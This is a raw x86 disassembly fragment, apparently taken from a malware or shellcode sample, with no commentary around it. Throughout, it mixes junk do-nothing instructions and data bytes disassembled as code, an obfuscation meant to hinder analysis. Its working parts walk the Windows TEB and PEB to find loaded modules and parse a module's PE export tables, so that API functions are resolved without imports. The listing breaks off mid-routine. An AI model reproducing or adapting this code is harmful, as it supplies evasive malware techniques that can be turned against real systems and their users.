dec ebx
aaa
xor al, 0x38
add esp, 4
pop edx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push eax
add eax, 0x11351
sub eax, 0x94fa
xor eax, 0xa248
pop eax
push ecx
push edi
add esp, 4
sub ecx, 0x1308a
xor ecx, 0x791d
or ecx, 0xc4a6
or ecx, 0xfcc4
pop ecx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x50dbb2
push esi
add esi, 0xea8e
add esi, 0x501d
pop esi
push ecx
push esi
add esp, 4
and ecx, 0xeb47
jmp 0x50db90
call 0x50db9f
add byte [0x48403a4d], bh
cmp al, byte [edi + 0x36]
dec edx
add esp, 4
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x50e29c
push esi
add esi, 0x5fd8
pop esi
push edi
push ebx
add esp, 4
add edi, 0xbbed
xor edi, 0x646e
pop edi
push eax
push edx
add esp, 4
and eax, 0x108d0
or eax, 0x5b1e
sub eax, 0x30a7
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
or edx, 0xfca3
add edx, 0xcbcf
pop edx
push eax
push edx
add esp, 4
and eax, 0xc31b
jmp 0x50dc2a
and eax, 0x1743e
pop eax
push eax
push ecx
add esp, 4
and eax, 0x9a51
pop eax
cmp dword [ebp - 0x14f4], 0
jne 0x50dc55
mov dword [ebp - 0x2e0], 0
jmp 0x50defc
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ebx
push edi
add esp, 4
sub ebx, 0xcf56
jmp 0x50dc78
pop ebx
push ebx
push edx
add esp, 4
jmp 0x50dc86
and ebx, 0x15a34
and ebx, 0xf132
sub ebx, 0x24af
pop ebx
cmp dword [ebp - 0xc3c], 0
jne 0x50dcb1
mov dword [ebp - 0x2e0], 0
jmp 0x50defc
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push eax
push ecx
add esp, 4
or eax, 0x12c8c
pop eax
push ebx
add ebx, 0x11a9f
call 0x50dcdd
add byte [ebx + 0x4b], cl
aaa
xor al, byte [ebp + 0x4d]
inc ebp
add esp, 4
pop ebx
push eax
sub eax, 0xd42c
sub eax, 0x11d99
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
call 0x50dd27
add byte [ebp + 0x3c], al
xor edi, dword [ecx]
inc ecx
inc ebp
cmp dword [ebx - 0x87efb3c], eax
iretd
push ebx
push ebx
add esp, 4
or ebx, 0x16d9b
call 0x50df13
add byte [eax + 0x43], dl
aaa
cmp dword ss:[edi], edi
add esp, 4
call 0x50df24
add byte [esi + eax*2 + 0x50], al
inc esi
xor al, byte ds:[edi + 0x40]
add esp, 4
and ebx, 0xb3c7
pop ebx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ecx
push eax
add esp, 4
xor ecx, 0x1008e
xor ecx, 0x564d
or ecx, 0x9800
pop ecx
push edx
push edx
add esp, 4
add edx, 0x5fc7
add edx, 0xc69d
pop edx
push ebx
sub ebx, 0xc9db
pop ebx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x50df9f
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x50e290
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x50dfc7
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x50e290
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x50dff9
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x50e290
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x50e01e
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x50e290
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x50e078